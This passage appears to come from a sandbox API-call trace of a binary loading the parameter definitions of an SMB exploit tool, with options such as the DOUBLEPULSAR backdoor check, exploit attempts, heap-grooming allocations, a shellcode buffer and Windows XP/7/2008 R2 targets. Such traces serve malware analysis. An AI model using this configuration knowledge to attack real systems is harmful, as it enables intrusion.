param_2=0xda2560 | out: param_1=0xda24b8) returned 0xda24b8 [0096.069] strlen (_Str="Validate the SMB string from target against the target selected before exploitation.") returned 0x54 [0096.069] calloc (_Count=0x55, _Size=0x1) returned 0xeaf988 [0096.069] _mbscpy (in: param_1=0xeaf988, param_2=0xeafd80 | out: param_1=0xeaf988) returned 0xeaf988 [0096.069] strlen (_Str="Boolean") returned 0x7 [0096.070] calloc (_Count=0x8, _Size=0x1) returned 0xd90080 [0096.070] _mbscpy (in: param_1=0xd90080, param_2=0xda1250 | out: param_1=0xd90080) returned 0xd90080 [0096.070] strlen (_Str="Scalar") returned 0x6 [0096.070] calloc (_Count=0x7, _Size=0x1) returned 0xd90090 [0096.070] _mbscpy (in: param_1=0xd90090, param_2=0xc5c3f8 | out: param_1=0xd90090) returned 0xd90090 [0096.070] strlen (_Str="urn:trch") returned 0x8 [0096.070] calloc (_Count=0x9, _Size=0x1) returned 0xda2608 [0096.070] _mbscpy (in: param_1=0xda2608, param_2=0xead2e0 | out: param_1=0xda2608) returned 0xda2608 [0096.070] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.070] strlen (_Str="2.1.0") returned 0x5 [0096.070] calloc (_Count=0x6, _Size=0x1) returned 0xd900a0 [0096.070] _mbscpy (in: param_1=0xd900a0, param_2=0xda11b0 | out: param_1=0xd900a0) returned 0xd900a0 [0096.070] strlen (_Str="true") returned 0x4 [0096.070] calloc (_Count=0x5, _Size=0x1) returned 0xd900b0 [0096.070] _mbscpy (in: param_1=0xd900b0, param_2=0xeafce0 | out: param_1=0xd900b0) returned 0xd900b0 [0096.070] strcmp (_Str1="true", _Str2="0") returned 1 [0096.070] strcmp (_Str1="true", _Str2="1") returned 1 [0096.070] realloc (_Block=0xd96e98, _Size=0x18) returned 0xd96e78 [0096.070] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0096.070] malloc (_Size=0xf) returned 0xda2560 [0096.070] malloc (_Size=0x80) returned 0xeaf9e8 [0096.070] malloc (_Size=0x8) returned 0xda1250 [0096.070] malloc (_Size=0x14) returned 0xd96e98 [0096.070] GetCurrentThreadId () returned 0x1090 [0096.070] malloc (_Size=0x42) returned 0xeafce0 [0096.070] free (_Block=0xd96e98) [0096.070] calloc (_Count=0x1, _Size=0x48) returned 0xeafd80 [0096.070] strlen (_Str="VerifyBackdoor") returned 0xe [0096.070] calloc (_Count=0xf, _Size=0x1) returned 0xda2638 [0096.070] _mbscpy (in: param_1=0xda2638, param_2=0xda2560 | out: param_1=0xda2638) returned 0xda2638 [0096.070] strlen (_Str="Validate the presence of the DOUBLE PULSAR backdoor before throwing. This option must be enabled for multiple exploit attempts.") returned 0x7f [0096.070] calloc (_Count=0x80, _Size=0x1) returned 0xeafa70 [0096.070] _mbscpy (in: param_1=0xeafa70, param_2=0xeaf9e8 | out: param_1=0xeafa70) returned 0xeafa70 [0096.070] strlen (_Str="Boolean") returned 0x7 [0096.071] calloc (_Count=0x8, _Size=0x1) returned 0xd900c0 [0096.071] _mbscpy (in: param_1=0xd900c0, param_2=0xda1250 | out: param_1=0xd900c0) returned 0xd900c0 [0096.071] strlen (_Str="Scalar") returned 0x6 [0096.071] calloc (_Count=0x7, _Size=0x1) returned 0xd900d0 [0096.071] _mbscpy (in: param_1=0xd900d0, param_2=0xc5c3f8 | out: param_1=0xd900d0) returned 0xd900d0 [0096.071] strlen (_Str="urn:trch") returned 0x8 [0096.071] calloc (_Count=0x9, _Size=0x1) returned 0xda2650 [0096.071] _mbscpy (in: param_1=0xda2650, param_2=0xead2e0 | out: param_1=0xda2650) returned 0xda2650 [0096.071] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.071] strlen (_Str="2.1.0") returned 0x5 [0096.071] calloc (_Count=0x6, _Size=0x1) returned 0xd900e0 [0096.071] _mbscpy (in: param_1=0xd900e0, param_2=0xda11b0 | out: param_1=0xd900e0) returned 0xd900e0 [0096.071] strlen (_Str="true") returned 0x4 [0096.071] calloc (_Count=0x5, _Size=0x1) returned 0xd900f0 [0096.071] _mbscpy (in: param_1=0xd900f0, param_2=0xeafce0 | out: param_1=0xd900f0) returned 0xd900f0 [0096.071] strcmp (_Str1="true", _Str2="0") returned 1 [0096.071] strcmp (_Str1="true", _Str2="1") returned 1 [0096.071] realloc (_Block=0xd96e78, _Size=0x1c) returned 0xeafdd0 [0096.071] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0096.071] malloc (_Size=0x13) returned 0xd96e78 [0096.071] malloc (_Size=0x47) returned 0xeafce0 [0096.071] malloc (_Size=0x4) returned 0xda1250 [0096.071] malloc (_Size=0x14) returned 0xd96e98 [0096.071] GetCurrentThreadId () returned 0x1090 [0096.071] malloc (_Size=0x42) returned 0xeaf9e8 [0096.071] free (_Block=0xd96e98) [0096.071] calloc (_Count=0x1, _Size=0x48) returned 0xeafaf8 [0096.071] strlen (_Str="MaxExploitAttempts") returned 0x12 [0096.071] calloc (_Count=0x13, _Size=0x1) returned 0xd96e98 [0096.071] _mbscpy (in: param_1=0xd96e98, param_2=0xd96e78 | out: param_1=0xd96e98) returned 0xd96e98 [0096.071] strlen (_Str="Number of times to attempt the exploit and groom. Disabled for XP/2K3.") returned 0x46 [0096.071] calloc (_Count=0x47, _Size=0x1) returned 0xeafb48 [0096.071] _mbscpy (in: param_1=0xeafb48, param_2=0xeafce0 | out: param_1=0xeafb48) returned 0xeafb48 [0096.071] strlen (_Str="U32") returned 0x3 [0096.072] calloc (_Count=0x4, _Size=0x1) returned 0xd90100 [0096.072] _mbscpy (in: param_1=0xd90100, param_2=0xda1250 | out: param_1=0xd90100) returned 0xd90100 [0096.072] strlen (_Str="Scalar") returned 0x6 [0096.072] calloc (_Count=0x7, _Size=0x1) returned 0xd90110 [0096.072] _mbscpy (in: param_1=0xd90110, param_2=0xc5c3f8 | out: param_1=0xd90110) returned 0xd90110 [0096.072] strlen (_Str="urn:trch") returned 0x8 [0096.072] calloc (_Count=0x9, _Size=0x1) returned 0xda2560 [0096.072] _mbscpy (in: param_1=0xda2560, param_2=0xead2e0 | out: param_1=0xda2560) returned 0xda2560 [0096.072] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.072] strlen (_Str="2.1.0") returned 0x5 [0096.072] calloc (_Count=0x6, _Size=0x1) returned 0xd90120 [0096.072] _mbscpy (in: param_1=0xd90120, param_2=0xda11b0 | out: param_1=0xd90120) returned 0xd90120 [0096.072] strlen (_Str="3") returned 0x1 [0096.072] calloc (_Count=0x2, _Size=0x1) returned 0xd90130 [0096.072] _mbscpy (in: param_1=0xd90130, param_2=0xeaf9e8 | out: param_1=0xd90130) returned 0xd90130 [0096.072] free (_Block=0xd96e78) [0096.072] free (_Block=0xeafce0) [0096.072] free (_Block=0xda1250) [0096.072] free (_Block=0x0) [0096.072] free (_Block=0xeaf9e8) [0096.072] free (_Block=0x0) [0096.072] free (_Block=0x0) [0096.072] free (_Block=0x0) [0096.072] free (_Block=0x0) [0096.072] realloc (_Block=0xeafdd0, _Size=0x20) returned 0xeafdd0 [0096.072] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0096.072] malloc (_Size=0x11) returned 0xd96e78 [0096.072] malloc (_Size=0x53) returned 0xeaf9e8 [0096.072] malloc (_Size=0x4) returned 0xda1250 [0096.072] malloc (_Size=0x14) returned 0xd96eb8 [0096.072] GetCurrentThreadId () returned 0x1090 [0096.072] malloc (_Size=0x42) returned 0xeafce0 [0096.072] free (_Block=0xd96eb8) [0096.072] calloc (_Count=0x1, _Size=0x48) returned 0xeafb98 [0096.073] strlen (_Str="GroomAllocations") returned 0x10 [0096.073] calloc (_Count=0x11, _Size=0x1) returned 0xd96eb8 [0096.073] _mbscpy (in: param_1=0xd96eb8, param_2=0xd96e78 | out: param_1=0xd96eb8) returned 0xd96eb8 [0096.073] strlen (_Str="Number of large SMBv2 buffers (Vista+) or SessionSetup allocations (XK/2K3) to do.") returned 0x52 [0096.073] calloc (_Count=0x53, _Size=0x1) returned 0xd90448 [0096.073] _mbscpy (in: param_1=0xd90448, param_2=0xeaf9e8 | out: param_1=0xd90448) returned 0xd90448 [0096.073] strlen (_Str="U32") returned 0x3 [0096.073] calloc (_Count=0x4, _Size=0x1) returned 0xd90140 [0096.073] _mbscpy (in: param_1=0xd90140, param_2=0xda1250 | out: param_1=0xd90140) returned 0xd90140 [0096.073] strlen (_Str="Scalar") returned 0x6 [0096.073] calloc (_Count=0x7, _Size=0x1) returned 0xd90150 [0096.073] _mbscpy (in: param_1=0xd90150, param_2=0xc5c3f8 | out: param_1=0xd90150) returned 0xd90150 [0096.073] strlen (_Str="urn:trch") returned 0x8 [0096.073] calloc (_Count=0x9, _Size=0x1) returned 0xda2698 [0096.073] _mbscpy (in: param_1=0xda2698, param_2=0xead2e0 | out: param_1=0xda2698) returned 0xda2698 [0096.073] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.073] strlen (_Str="2.1.0") returned 0x5 [0096.073] calloc (_Count=0x6, _Size=0x1) returned 0xd90160 [0096.073] _mbscpy (in: param_1=0xd90160, param_2=0xda11b0 | out: param_1=0xd90160) returned 0xd90160 [0096.073] strlen (_Str="12") returned 0x2 [0096.073] calloc (_Count=0x3, _Size=0x1) returned 0xd90170 [0096.073] _mbscpy (in: param_1=0xd90170, param_2=0xeafce0 | out: param_1=0xd90170) returned 0xd90170 [0096.073] free (_Block=0xd96e78) [0096.073] free (_Block=0xeaf9e8) [0096.073] free (_Block=0xda1250) [0096.073] free (_Block=0x0) [0096.073] free (_Block=0xeafce0) [0096.073] free (_Block=0x0) [0096.073] free (_Block=0x0) [0096.073] free (_Block=0x0) [0096.073] free (_Block=0x0) [0096.073] realloc (_Block=0xeafdd0, _Size=0x24) returned 0xeafdd0 [0096.073] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0096.073] malloc (_Size=0x10) returned 0xd904c0 [0096.073] malloc (_Size=0x45) returned 0xeafce0 [0096.074] malloc (_Size=0x7) returned 0xda1250 [0096.074] malloc (_Size=0x6) returned 0xd90180 [0096.074] calloc (_Count=0x1, _Size=0x48) returned 0xeaf9e8 [0096.074] strlen (_Str="ShellcodeBuffer") returned 0xf [0096.074] calloc (_Count=0x10, _Size=0x1) returned 0xd904d8 [0096.074] _mbscpy (in: param_1=0xd904d8, param_2=0xd904c0 | out: param_1=0xd904d8) returned 0xd904d8 [0096.074] strlen (_Str="Shellcode buffer in hex (hint: use 'F:' to load from file)") returned 0x44 [0096.074] calloc (_Count=0x45, _Size=0x1) returned 0xd90ca8 [0096.074] _mbscpy (in: param_1=0xd90ca8, param_2=0xeafce0 | out: param_1=0xd90ca8) returned 0xd90ca8 [0096.074] strlen (_Str="Buffer") returned 0x6 [0096.074] calloc (_Count=0x7, _Size=0x1) returned 0xd90190 [0096.074] _mbscpy (in: param_1=0xd90190, param_2=0xda1250 | out: param_1=0xd90190) returned 0xd90190 [0096.074] strlen (_Str="Scalar") returned 0x6 [0096.074] calloc (_Count=0x7, _Size=0x1) returned 0xd901a0 [0096.074] _mbscpy (in: param_1=0xd901a0, param_2=0xc5c3f8 | out: param_1=0xd901a0) returned 0xd901a0 [0096.074] strlen (_Str="urn:trch") returned 0x8 [0096.074] calloc (_Count=0x9, _Size=0x1) returned 0xd904f0 [0096.074] _mbscpy (in: param_1=0xd904f0, param_2=0xead2e0 | out: param_1=0xd904f0) returned 0xd904f0 [0096.074] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.074] strlen (_Str="2.1.0") returned 0x5 [0096.074] calloc (_Count=0x6, _Size=0x1) returned 0xd901b0 [0096.074] _mbscpy (in: param_1=0xd901b0, param_2=0xda11b0 | out: param_1=0xd901b0) returned 0xd901b0 [0096.074] realloc (_Block=0xeafdd0, _Size=0x28) returned 0xeafdd0 [0096.074] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0096.074] malloc (_Size=0x7) returned 0xd901c0 [0096.074] malloc (_Size=0x3e) returned 0xda2190 [0096.074] calloc (_Count=0x1, _Size=0x24) returned 0xeafa38 [0096.074] strlen (_Str="Target") returned 0x6 [0096.074] calloc (_Count=0x7, _Size=0x1) returned 0xd90180 [0096.074] _mbscpy (in: param_1=0xd90180, param_2=0xd901c0 | out: param_1=0xd90180) returned 0xd90180 [0096.074] strlen (_Str="Operating System, Service Pack, and Architecture of target OS") returned 0x3d [0096.074] calloc (_Count=0x3e, _Size=0x1) returned 0xda21d8 [0096.074] _mbscpy (in: param_1=0xda21d8, param_2=0xda2190 | out: param_1=0xda21d8) returned 0xda21d8 [0096.074] strlen (_Str="urn:trch") returned 0x8 [0096.074] calloc (_Count=0x9, _Size=0x1) returned 0xd904c0 [0096.075] _mbscpy (in: param_1=0xd904c0, param_2=0xead2e0 | out: param_1=0xd904c0) returned 0xd904c0 [0096.075] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.075] strlen (_Str="2.1.0") returned 0x5 [0096.075] calloc (_Count=0x6, _Size=0x1) returned 0xd901d0 [0096.075] _mbscpy (in: param_1=0xd901d0, param_2=0xda11b0 | out: param_1=0xd901d0) returned 0xd901d0 [0096.075] malloc (_Size=0x4) returned 0xd901e0 [0096.075] free (_Block=0xd901c0) [0096.075] free (_Block=0xda2190) [0096.075] free (_Block=0x0) [0096.075] malloc (_Size=0x3) returned 0xd901c0 [0096.075] malloc (_Size=0x24) returned 0xeafbe8 [0096.075] calloc (_Count=0x1, _Size=0x20) returned 0xea28f8 [0096.075] strlen (_Str="XP") returned 0x2 [0096.075] calloc (_Count=0x3, _Size=0x1) returned 0xd901f0 [0096.075] _mbscpy (in: param_1=0xd901f0, param_2=0xd901c0 | out: param_1=0xd901f0) returned 0xd901f0 [0096.075] strlen (_Str="Windows XP 32-Bit All Service Packs") returned 0x23 [0096.075] calloc (_Count=0x24, _Size=0x1) returned 0xeafce0 [0096.075] _mbscpy (in: param_1=0xeafce0, param_2=0xeafbe8 | out: param_1=0xeafce0) returned 0xeafce0 [0096.075] strlen (_Str="urn:trch") returned 0x8 [0096.075] calloc (_Count=0x9, _Size=0x1) returned 0xd90508 [0096.075] _mbscpy (in: param_1=0xd90508, param_2=0xead2e0 | out: param_1=0xd90508) returned 0xd90508 [0096.075] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.075] strlen (_Str="2.1.0") returned 0x5 [0096.075] calloc (_Count=0x6, _Size=0x1) returned 0xd90200 [0096.075] _mbscpy (in: param_1=0xd90200, param_2=0xda11b0 | out: param_1=0xd90200) returned 0xd90200 [0096.075] malloc (_Size=0x4) returned 0xd90210 [0096.075] malloc (_Size=0x4) returned 0xd90220 [0096.075] free (_Block=0xd901c0) [0096.075] free (_Block=0xeafbe8) [0096.075] realloc (_Block=0xd901e0, _Size=0x8) returned 0xd901c0 [0096.075] malloc (_Size=0xa) returned 0xd90520 [0096.075] malloc (_Size=0x3a) returned 0xda2190 [0096.075] calloc (_Count=0x1, _Size=0x20) returned 0xeafbe8 [0096.075] strlen (_Str="WIN72K8R2") returned 0x9 [0096.075] calloc (_Count=0xa, _Size=0x1) returned 0xd90538 [0096.075] _mbscpy (in: param_1=0xd90538, param_2=0xd90520 | out: param_1=0xd90538) returned 0xd90538 [0096.076] strlen (_Str="Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs") returned 0x39 [0096.076] calloc (_Count=0x3a, _Size=0x1) returned 0xda2220 [0096.076] _mbscpy (in: param_1=0xda2220, param_2=0xda2190 | out: param_1=0xda2220) returned 0xda2220 [0096.076] strlen (_Str="urn:trch") returned 0x8 [0096.076] calloc (_Count=0x9, _Size=0x1) returned 0xd90550 [0096.076] _mbscpy (in: param_1=0xd90550, param_2=0xead2e0 | out: param_1=0xd90550) returned 0xd90550 [0096.076] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.076] strlen (_Str="2.1.0") returned 0x5 [0096.076] calloc (_Count=0x6, _Size=0x1) returned 0xd901e0 [0096.076] _mbscpy (in: param_1=0xd901e0, param_2=0xda11b0 | out: param_1=0xd901e0) returned 0xd901e0 [0096.076] malloc (_Size=0x4) returned 0xd90230 [0096.076] malloc (_Size=0x4) returned 0xd90240 [0096.076] free (_Block=0xd90520) [0096.076] free (_Block=0xda2190) [0096.076] realloc (_Block=0xd901c0, _Size=0xc) returned 0xd90520 [0096.076] malloc (_Size=0x14) returned 0xd96ed8 [0096.076] GetCurrentThreadId () returned 0x1090 [0096.076] malloc (_Size=0x42) returned 0xd90cf8 [0096.076] free (_Block=0xd96ed8) [0096.076] strlen (_Str="WIN72K8R2") returned 0x9 [0096.076] calloc (_Count=0xa, _Size=0x1) returned 0xd90568 [0096.076] _mbscpy (in: param_1=0xd90568, param_2=0xd90cf8 | out: param_1=0xd90568) returned 0xd90568 [0096.076] realloc (_Block=0xda11f0, _Size=0x8) returned 0xd901c0 [0096.076] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.076] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.076] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.076] calloc (_Count=0x1, _Size=0x1c) returned 0xd90cf8 [0096.076] strlen (_Str="outputparameters") returned 0x10 [0096.076] calloc (_Count=0x11, _Size=0x1) returned 0xd96ed8 [0096.076] _mbscpy (in: param_1=0xd96ed8, param_2=0xd96df8 | out: param_1=0xd96ed8) returned 0xd96ed8 [0096.076] strlen (_Str="urn:trch") returned 0x8 [0096.076] calloc (_Count=0x9, _Size=0x1) returned 0xd90580 [0096.076] _mbscpy (in: param_1=0xd90580, param_2=0xead2e0 | out: param_1=0xd90580) returned 0xd90580 [0096.076] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.076] strlen (_Str="2.1.0") returned 0x5 [0096.076] calloc (_Count=0x6, _Size=0x1) returned 0xda11f0 [0096.076] _mbscpy (in: param_1=0xda11f0, param_2=0xda11b0 | out: param_1=0xda11f0) returned 0xda11f0 [0096.076] calloc (_Count=0x1, _Size=0x4) returned 0xda1250 [0096.077] calloc (_Count=0x1, _Size=0x4) returned 0xd90250 [0096.077] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0096.077] malloc (_Size=0x14) returned 0xd96ef8 [0096.077] malloc (_Size=0x69) returned 0xd90d20 [0096.077] malloc (_Size=0x8) returned 0xd90260 [0096.077] calloc (_Count=0x1, _Size=0x48) returned 0xd90d98 [0096.077] strlen (_Str="DoublePulsarPresent") returned 0x13 [0096.077] calloc (_Count=0x14, _Size=0x1) returned 0xd96f18 [0096.077] _mbscpy (in: param_1=0xd96f18, param_2=0xd96ef8 | out: param_1=0xd96f18) returned 0xd96f18 [0096.077] strlen (_Str="Set to true if the DOUBLEPULSAR backdoor was already installed and the exploit did not have to be thrown") returned 0x68 [0096.077] calloc (_Count=0x69, _Size=0x1) returned 0xd90de8 [0096.077] _mbscpy (in: param_1=0xd90de8, param_2=0xd90d20 | out: param_1=0xd90de8) returned 0xd90de8 [0096.077] strlen (_Str="Boolean") returned 0x7 [0096.077] calloc (_Count=0x8, _Size=0x1) returned 0xd90270 [0096.077] _mbscpy (in: param_1=0xd90270, param_2=0xd90260 | out: param_1=0xd90270) returned 0xd90270 [0096.077] strlen (_Str="Scalar") returned 0x6 [0096.077] calloc (_Count=0x7, _Size=0x1) returned 0xd90280 [0096.077] _mbscpy (in: param_1=0xd90280, param_2=0xc5c3f8 | out: param_1=0xd90280) returned 0xd90280 [0096.077] strlen (_Str="urn:trch") returned 0x8 [0096.077] calloc (_Count=0x9, _Size=0x1) returned 0xd90598 [0096.077] _mbscpy (in: param_1=0xd90598, param_2=0xead2e0 | out: param_1=0xd90598) returned 0xd90598 [0096.077] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.077] strlen (_Str="2.1.0") returned 0x5 [0096.077] calloc (_Count=0x6, _Size=0x1) returned 0xd90290 [0096.077] _mbscpy (in: param_1=0xd90290, param_2=0xda11b0 | out: param_1=0xd90290) returned 0xd90290 [0096.077] realloc (_Block=0xda1250, _Size=0x8) returned 0xd90260 [0096.077] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.077] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.077] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.077] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.077] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.077] free (_Block=0xda11b0) [0096.077] free (_Block=0xd93060) [0096.077] free (_Block=0xd93018) [0096.077] free (_Block=0xd93120) [0096.077] free (_Block=0xd930d8) [0096.078] free (_Block=0xd93238) [0096.078] free (_Block=0xd937c8) [0096.078] free (_Block=0xd93258) [0096.078] free (_Block=0xd93870) [0096.078] free (_Block=0xd93248) [0096.078] free (_Block=0xd93810) [0096.078] free (_Block=0xd93268) [0096.078] free (_Block=0xd938b8) [0096.078] free (_Block=0xd931f8) [0096.078] free (_Block=0xd935d0) [0096.078] free (_Block=0xd931e8) [0096.078] free (_Block=0xd93198) [0096.078] free (_Block=0xd93218) [0096.078] free (_Block=0xd93650) [0096.078] free (_Block=0xd93208) [0096.078] free (_Block=0xd93618) [0096.078] free (_Block=0xead3b8) [0096.078] free (_Block=0xd936d0) [0096.078] free (_Block=0xd93228) [0096.078] free (_Block=0xd93698) [0096.078] free (_Block=0xd93798) [0096.078] free (_Block=0xd93750) [0096.078] free (_Block=0xead3d0) [0096.078] free (_Block=0xd93718) [0096.078] free (_Block=0xead3a0) [0096.078] free (_Block=0xd93150) [0096.078] free (_Block=0xd93278) [0096.078] free (_Block=0xd93900) [0096.078] free (_Block=0xd932b8) [0096.078] free (_Block=0xd93a68) [0096.078] free (_Block=0xd932d8) [0096.078] free (_Block=0xd93af8) [0096.078] free (_Block=0xd932c8) [0096.078] free (_Block=0xd93ab0) [0096.078] free (_Block=0xd932e8) [0096.078] free (_Block=0xd93b40) [0096.078] free (_Block=0xd93298) [0096.078] free (_Block=0xd93990) [0096.078] free (_Block=0xd93288) [0096.078] free (_Block=0xd94858) [0096.078] free (_Block=0xead400) [0096.079] free (_Block=0xd939d8) [0096.079] free (_Block=0xd932a8) [0096.079] free (_Block=0xd94890) [0096.079] free (_Block=0xd94900) [0096.079] free (_Block=0xd93a20) [0096.079] free (_Block=0xead418) [0096.079] free (_Block=0xd948c8) [0096.079] free (_Block=0xead3e8) [0096.079] free (_Block=0xd93948) [0096.079] free (_Block=0xd932f8) [0096.079] free (_Block=0xd93b88) [0096.079] free (_Block=0xd94988) [0096.079] free (_Block=0xd93c18) [0096.079] free (_Block=0xd93308) [0096.079] free (_Block=0xd94950) [0096.079] free (_Block=0xd93328) [0096.079] free (_Block=0xd93c60) [0096.079] free (_Block=0xd93318) [0096.079] free (_Block=0xd949a8) [0096.079] free (_Block=0xead448) [0096.079] free (_Block=0xd93ca8) [0096.079] free (_Block=0xd93338) [0096.079] free (_Block=0xd949e0) [0096.079] free (_Block=0xd95218) [0096.079] free (_Block=0xd93cf0) [0096.079] free (_Block=0xead460) [0096.079] free (_Block=0xd94a30) [0096.079] free (_Block=0xead430) [0096.079] free (_Block=0xd93bd0) [0096.079] free (_Block=0xd93348) [0096.079] free (_Block=0xd93d38) [0096.079] free (_Block=0xd93398) [0096.079] free (_Block=0xd93ee8) [0096.079] free (_Block=0xd933b8) [0096.079] free (_Block=0xd93f78) [0096.079] free (_Block=0xd933a8) [0096.079] free (_Block=0xd93f30) [0096.079] free (_Block=0xd933c8) [0096.079] free (_Block=0xd93fc0) [0096.079] free (_Block=0xead490) [0096.079] free (_Block=0xd93dc8) [0096.080] free (_Block=0xd93358) [0096.080] free (_Block=0xd94a68) [0096.080] free (_Block=0xd93378) [0096.080] free (_Block=0xd93e10) [0096.080] free (_Block=0xd93368) [0096.080] free (_Block=0xd94aa0) [0096.080] free (_Block=0xead4a8) [0096.080] free (_Block=0xd93e58) [0096.080] free (_Block=0xd93388) [0096.080] free (_Block=0xd94ad8) [0096.080] free (_Block=0xd95238) [0096.080] free (_Block=0xd93ea0) [0096.080] free (_Block=0xead4c0) [0096.080] free (_Block=0xd94b10) [0096.080] free (_Block=0xead478) [0096.080] free (_Block=0xd93d80) [0096.080] free (_Block=0xd933d8) [0096.080] free (_Block=0xd94008) [0096.080] free (_Block=0xd93428) [0096.080] free (_Block=0xd941b8) [0096.080] free (_Block=0xd93448) [0096.080] free (_Block=0xd94248) [0096.080] free (_Block=0xd93438) [0096.080] free (_Block=0xd94200) [0096.080] free (_Block=0xd93458) [0096.080] free (_Block=0xd94290) [0096.080] free (_Block=0xd95278) [0096.080] free (_Block=0xd94098) [0096.080] free (_Block=0xd933e8) [0096.080] free (_Block=0xd94b48) [0096.080] free (_Block=0xd93408) [0096.080] free (_Block=0xd940e0) [0096.080] free (_Block=0xd933f8) [0096.080] free (_Block=0xd94b80) [0096.080] free (_Block=0xead4f0) [0096.080] free (_Block=0xd94128) [0096.080] free (_Block=0xd93418) [0096.080] free (_Block=0xd94bb8) [0096.080] free (_Block=0xd952a0) [0096.080] free (_Block=0xd94170) [0096.080] free (_Block=0xead508) [0096.080] free (_Block=0xd94bf0) [0096.081] free (_Block=0xead4d8) [0096.081] free (_Block=0xd94050) [0096.081] free (_Block=0xd93468) [0096.081] free (_Block=0xd942d8) [0096.081] free (_Block=0xd934b8) [0096.081] free (_Block=0xd94488) [0096.081] free (_Block=0xd934d8) [0096.081] free (_Block=0xd94518) [0096.081] free (_Block=0xd934c8) [0096.081] free (_Block=0xd944d0) [0096.081] free (_Block=0xd934e8) [0096.081] free (_Block=0xd94560) [0096.081] free (_Block=0xd95300) [0096.081] free (_Block=0xd94368) [0096.081] free (_Block=0xd93478) [0096.081] free (_Block=0xd94c28) [0096.081] free (_Block=0xd93498) [0096.081] free (_Block=0xd943b0) [0096.081] free (_Block=0xd93488) [0096.081] free (_Block=0xd94c60) [0096.081] free (_Block=0xead538) [0096.081] free (_Block=0xd943f8) [0096.081] free (_Block=0xd934a8) [0096.081] free (_Block=0xd94c98) [0096.081] free (_Block=0xd95328) [0096.081] free (_Block=0xd94440) [0096.081] free (_Block=0xead550) [0096.081] free (_Block=0xd94cd0) [0096.081] free (_Block=0xead520) [0096.081] free (_Block=0xd94320) [0096.081] free (_Block=0xd934f8) [0096.081] free (_Block=0xd945a8) [0096.081] free (_Block=0xd93548) [0096.081] free (_Block=0xd94758) [0096.081] free (_Block=0xd93568) [0096.081] free (_Block=0xd947e8) [0096.081] free (_Block=0xd93558) [0096.081] free (_Block=0xd947a0) [0096.081] free (_Block=0xd93578) [0096.081] free (_Block=0xd95468) [0096.081] free (_Block=0xd953b0) [0096.081] free (_Block=0xd94638) [0096.082] free (_Block=0xd93508) [0096.082] free (_Block=0xd94d08) [0096.082] free (_Block=0xd93528) [0096.082] free (_Block=0xd94680) [0096.082] free (_Block=0xd93518) [0096.082] free (_Block=0xd94d40) [0096.082] free (_Block=0xd953e0) [0096.082] free (_Block=0xd946c8) [0096.082] free (_Block=0xd93538) [0096.082] free (_Block=0xd94d78) [0096.082] free (_Block=0xd95400) [0096.082] free (_Block=0xd94710) [0096.082] free (_Block=0xead580) [0096.082] free (_Block=0xd94db0) [0096.082] free (_Block=0xead568) [0096.082] free (_Block=0xd945f0) [0096.082] free (_Block=0xd93588) [0096.082] free (_Block=0xd954b0) [0096.082] free (_Block=0xd964a8) [0096.082] free (_Block=0xd95660) [0096.082] free (_Block=0xd964c8) [0096.082] free (_Block=0xd956f0) [0096.082] free (_Block=0xd964b8) [0096.082] free (_Block=0xd956a8) [0096.082] free (_Block=0xd964d8) [0096.082] free (_Block=0xd95738) [0096.082] free (_Block=0xd96450) [0096.082] free (_Block=0xd95540) [0096.082] free (_Block=0xd93598) [0096.082] free (_Block=0xd94de8) [0096.082] free (_Block=0xd935b8) [0096.082] free (_Block=0xd95588) [0096.082] free (_Block=0xd935a8) [0096.082] free (_Block=0xd94e20) [0096.082] free (_Block=0xd96880) [0096.082] free (_Block=0xd955d0) [0096.082] free (_Block=0xd96498) [0096.082] free (_Block=0xd94e58) [0096.082] free (_Block=0xd968a0) [0096.082] free (_Block=0xd95618) [0096.082] free (_Block=0xead5b0) [0096.083] free (_Block=0xd94e90) [0096.083] free (_Block=0xead598) [0096.083] free (_Block=0xd954f8) [0096.083] free (_Block=0xd964e8) [0096.083] free (_Block=0xd95780) [0096.083] free (_Block=0xead5e0) [0096.083] free (_Block=0xd95810) [0096.083] free (_Block=0xd964f8) [0096.083] free (_Block=0xd94ec8) [0096.083] free (_Block=0xd96508) [0096.083] free (_Block=0xd95858) [0096.083] free (_Block=0xead5f8) [0096.083] free (_Block=0xd94f00) [0096.083] free (_Block=0xd96970) [0096.083] free (_Block=0xd958a0) [0096.083] free (_Block=0xd96518) [0096.083] free (_Block=0xd94f38) [0096.083] free (_Block=0xd96538) [0096.083] free (_Block=0xd958e8) [0096.083] free (_Block=0xd96528) [0096.083] free (_Block=0xd94f70) [0096.083] free (_Block=0xd96558) [0096.083] free (_Block=0xd95930) [0096.083] free (_Block=0xd96548) [0096.083] free (_Block=0xd94fa8) [0096.083] free (_Block=0xd96990) [0096.083] free (_Block=0xd95978) [0096.083] free (_Block=0xead610) [0096.083] free (_Block=0xd94fe0) [0096.083] free (_Block=0xead5c8) [0096.083] free (_Block=0xd957c8) [0096.083] free (_Block=0xd96568) [0096.083] free (_Block=0xd959c0) [0096.083] free (_Block=0xd965a8) [0096.083] free (_Block=0xd95b70) [0096.083] free (_Block=0xead670) [0096.083] free (_Block=0xd95c00) [0096.084] ReleaseMutex (hMutex=0x44) returned 1 [0096.084] free 